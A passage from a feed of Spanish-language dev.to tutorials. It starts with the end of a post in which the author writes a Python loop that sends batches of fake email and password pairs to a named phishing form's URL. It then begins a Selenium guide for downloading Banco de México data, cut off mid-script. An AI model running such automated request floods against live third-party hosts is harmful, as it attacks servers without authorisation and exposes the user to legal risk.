&lt;p&gt;En primer lugar importamos las clases &lt;code&gt;request&lt;/code&gt; y &lt;code&gt;parse&lt;/code&gt; del módulo &lt;code&gt;urllib&lt;/code&gt;. La primera provee de métodos para hacer peticiones HTTP/S, y la segunda nos permite codificar el diccionario que contiene los datos que deseamos enviar a un formato compatible con el método &lt;code&gt;POST&lt;/code&gt; (o &lt;code&gt;GET&lt;/code&gt; en su caso).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;urllib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En segundo lugar, definimos los datos que queremos enviar al servidor. Como recordamos, el formulario del archivo adjunto que envió el ladrón tiene dos campos, llamados &lt;code&gt;username&lt;/code&gt; y &lt;code&gt;password&lt;/code&gt;. Estos son los nombres de los campos que debemos enviarle de vuelta. Y los valores son las direcciones de correo electrónico y las contraseñas falsas que obtenemos fácilmente con la función &lt;code&gt;generar_perfil()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;dato&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generar_perfil&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;datos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dato&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'mail'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dato&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A continuación creamos un &lt;code&gt;string&lt;/code&gt; con los datos codificados para enviarlos al servidor. Esto lo hacemos invocando el &lt;code&gt;encode()&lt;/code&gt; de la siguiente forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;datos_encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlencode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datos&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finalmente, guardamos la URL del formulario en la variable &lt;code&gt;url&lt;/code&gt; y enviamos los datos al servidos usando el método &lt;code&gt;urlopen()&lt;/code&gt; de la siguiente forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"https://level7advertising.com.au/ko/sss.php"&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datos_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;¡Listo! Hemos enviado un primer registro falso al ladrón de contraseñas. Veamos el estado con el que respondió el servidor usando la propedad &lt;code&gt;status&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Una respuesta 200 indica que &lt;a href="https://developer.mozilla.org/es/docs/Web/HTTP/Status/200"&gt;la petición ha tenido éxito&lt;/a&gt;. Ahora el ladrón tiene un registro falso en su base de datos, lo cual le dificultará la tarea de encontrar los registros de personas verdaderas que, en un descuido, le enviaron su contraseña del correo electrónico.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Level up: enviando datos masivamente &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Hasta ahora todo bien, pero si queremos enviar muchas respuestas falsas, es fácil programar un bucle que repita esta acción el número de veces que deseemos. Yo lo programé para enviar 100 registros falsos cada vez, espaciando los envíos un número aleatorio de segundos entre 3 y 6 (para esto usé la función &lt;code&gt;sleep&lt;/code&gt; del módulo &lt;code&gt;time&lt;/code&gt;, que también es nativo de Python - &lt;a href="https://docs.python.org/3/library/time.html#time.sleep"&gt;la documentación está aquí&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Al final, el código completo es el siguiente:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;urllib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;

&lt;span class="n"&gt;palabras&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"words_alpha.txt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"r"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;palabras_lista&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;palabras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;palabras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;dominios&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"org"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"net"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"https://level7advertising.com.au/ko/sss.php"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generar_perfil&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palabras_lista&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"@"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palabras_lista&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"."&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dominios&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palabras_lista&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"!#$&amp;amp;?"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;'mail'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="c1"&gt;# Generar perfil falso:
&lt;/span&gt;    &lt;span class="n"&gt;dato&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generar_perfil&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;datos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dato&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'mail'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dato&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;# Codificar datos:
&lt;/span&gt;    &lt;span class="n"&gt;datos_encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlencode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datos&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Enviar petición y mostrar respuesta (junto con el número de iteración):
&lt;/span&gt;    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datos_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Esperar un número aleatorio de segundos entre 3 y 6:
&lt;/span&gt;    &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A la fecha de publicación del post, no tuve problema en enviar bloques de 100 perfiles de usuarios inexistentes al ladrón de contraseñas 😊 siempre recibiendo una respuesta exitosa (200) del servidor de destino:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. &lt;strong&gt;Importante:&lt;/strong&gt; unas palabras de advertencia &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Nunca&lt;/strong&gt; se deben deben abrir los archivos adjuntos de un correo electrónico que procede de una dirección desconocida, o cuyo contenido parece (aunque sea sólo un poco) fraudulento. Siempre hay que verificar que la dirección del remitente (y no sólo su nombre) sea conocida. En mi caso, abrí el archivo adjunto primero en un editor de texto y verifiqué que no cargara ningún script, ni local ni remotamente, y que las imágenes procedieran de dominios de confianza.&lt;/li&gt;
&lt;li&gt;Al enviar las peticiones &lt;code&gt;POST&lt;/code&gt;, el receptor podría &lt;strong&gt;registrar la IP&lt;/strong&gt; de la que proceden. Esto representa (al menos) un riesgo menor de privacidad y seguridad. Es importante no hacerlo en equipos que contengan información sensible (por ejemplo, corporativos). En mi caso, usé una VPN para esconder mi dirección IP real, y ejecuté el script en una máquina virtual aislada en mi computadora personal.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Teniendo en cuenta estos puntos y conservando en la medida de lo posible el sentido común, no deberíamos tener problema.&lt;/p&gt;

&lt;p&gt;👨‍💻 &lt;code&gt;Happy coding&lt;/code&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>codenewbie</category>
      <category>tutorial</category>
      <category>security</category>
    </item>
    <item>
      <title>Automatizando la extracción de datos con Selenium</title>
      <dc:creator>Rodrigo Leo</dc:creator>
      <pubDate>Wed, 10 Nov 2021 19:06:14 +0000</pubDate>
      <link>https://dev.to/rleo/automatizando-la-extraccion-de-datos-con-selenium-22ke</link>
      <guid>https://dev.to/rleo/automatizando-la-extraccion-de-datos-con-selenium-22ke</guid>
      <description>&lt;p&gt;&lt;strong&gt;Contenido&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Los requisitos&lt;/li&gt;
&lt;li&gt;El guión&lt;/li&gt;
&lt;li&gt;El script&lt;/li&gt;
&lt;li&gt;Poniendo todo junto&lt;/li&gt;
&lt;li&gt;Haciéndolo fácil: usando la API&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;Hace unos días necesitaba automatizar la extracción de cierta serie de tiempo del &lt;a href="https://www.banxico.org.mx/SieInternet/" rel="noopener noreferrer"&gt;Sistema de Información Económica&lt;/a&gt; (SIE) del Banco de México y no me di cuenta que tienen una &lt;a href="https://www.banxico.org.mx/SieAPIRest/service/v1/;jsessionid=73ad9a988670d19d6424e3944775" rel="noopener noreferrer"&gt;API diseñada específicamente para eso&lt;/a&gt;, por lo que escribí un script de Python para descargar datos usando Selenium.&lt;/p&gt;

&lt;p&gt;Cuando vi que existía la API en cuestión terminé usándola (con Google Apps Script, que por cierto es muy bueno), pero para que las horas invertidas con Python no se vayan a la basura, aquí comparto esta pequeña guía sobre cómo usar Selenium, por si a alguien le es de utilidad alguna vez.&lt;/p&gt;

&lt;p&gt;Pero antes de empezar, ¿qué es Selenium? Básicamente es un entorno de pruebas (testing) de software diseñado para aplicaciones web. En palabras sencillas, es una especie de "robot" que nos permite automatizar tareas rutinarias, y aunque se usa principalmente para hacer pruebas que resultarían tediosas manualmente, también se emplea para diseñar sistemas de automatización, que es lo que haremos aquí.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Los requisitos &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Lo primero que necesitamos (evidentemente) es Python instalado en la computadora. Además, necesitamos instalar Selenium. Con &lt;code&gt;pip&lt;/code&gt; es muy sencillo hacerlo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install selenium
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O, si usas &lt;code&gt;conda&lt;/code&gt; para administrar tus paquetes (como yo):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;conda install -c conda-forge selenium 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Una vez que tenemos Selenium instalado, es necesario descargar un driver: Selenium simula la interacción con una página web que nosotros haríamos a través de un navegador, por lo que tenemos que proporcionarle tal navegador: eso es el driver. El ejecutable del driver debe estar en el &lt;code&gt;PATH&lt;/code&gt; del sistema o bien en el mismo directorio que nuestro script de Python, de lo contrario obtendremos un error del tipo: &lt;code&gt;selenium.common.exceptions.WebDriverException: Message: ‘X’ executable needs to be in PATH&lt;/code&gt;, donde &lt;code&gt;X&lt;/code&gt; es el driver en cuestión.&lt;/p&gt;

&lt;p&gt;Aquí los links para descargar drivers (yo uso el de Google Chrome):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Driver&lt;/th&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;td&gt;&lt;a href="https://sites.google.com/chromium.org/driver/" rel="noopener noreferrer"&gt;https://sites.google.com/chromium.org/driver/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Edge&lt;/td&gt;
&lt;td&gt;&lt;a href="https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/" rel="noopener noreferrer"&gt;https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Firefox&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/mozilla/geckodriver/releases" rel="noopener noreferrer"&gt;https://github.com/mozilla/geckodriver/releases&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Safari&lt;/td&gt;
&lt;td&gt;&lt;a href="https://webkit.org/blog/6900/webdriver-support-in-safari-10/" rel="noopener noreferrer"&gt;https://webkit.org/blog/6900/webdriver-support-in-safari-10/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Una vez que el driver esté en el directorio del script o bien en la variable &lt;code&gt;PATH&lt;/code&gt;, estamos listos para comenzar a construir nuestro script.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. El guión &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Primero que nada, es necesario tener muy claro qué es lo que queremos que haga nuestro programa. En mi caso, quiero que haga lo siguiente:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Que acceda a la página "&lt;a href="https://www.banxico.org.mx/SieInternet/consultarDirectorioInternetAction.do?sector=8&amp;amp;accion=consultarCuadro&amp;amp;idCuadro=CP194&amp;amp;locale=es" rel="noopener noreferrer"&gt;Otros indicadores de precios mensuales&lt;/a&gt;" del SIE de Banxico.&lt;/li&gt;
&lt;li&gt;Que desmarque todas las casillas, excepto la de "Indicador subyacente fundamental".&lt;/li&gt;
&lt;li&gt;Que despliegue el cuadro "Exportar series".&lt;/li&gt;
&lt;li&gt;Que seleccione como periodo inicial "Todo" y como periodo final "Todo".&lt;/li&gt;
&lt;li&gt;Que seleccione como formato de exportación "XLS" y guarde el archivo descargado.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Visualmente se vería de la siguiente forma:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2FDY7M3qg.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2FDY7M3qg.gif" alt="Proceso animado de descarga"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  3. El script &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Primero que nada importamos las librerías de Python necesarias:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;webdriver&lt;/code&gt; que es la clase fundamental para interactuar con Selenium;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Select&lt;/code&gt; que permite que Selenium trabaje eficientemente con elementos HTML de tipo &lt;code&gt;&amp;lt;select&amp;gt;...&amp;lt;/select&amp;gt;&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sleep&lt;/code&gt;, que requeriremos por las características de la página con la que trabajaremos (más sobre esto adelante); y&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Path&lt;/code&gt; para obtener el directorio de trabajo del script.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;selenium&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;webdriver&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;selenium.webdriver.support.ui&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Select&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A continuación almacenamos el directorio de trabajo actual en la variable &lt;code&gt;cwd&lt;/code&gt;, y el URL de la página a la que el driver debe dirigirse en la variable &lt;code&gt;url&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://www.banxico.org.mx/SieInternet/consultarDirectorioInternetAction.do?sector=8&amp;amp;accion=consultarCuadro&amp;amp;idCuadro=CP194&amp;amp;locale=es&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Guardamos como preferencia del driver que el directorio para almacenar las descargas sea el directorio del script (el que está en la variable &lt;code&gt;cwd&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;opciones&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;webdriver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ChromeOptions&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;prefs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;download.default_directory&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;opciones&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_experimental_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;prefs&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
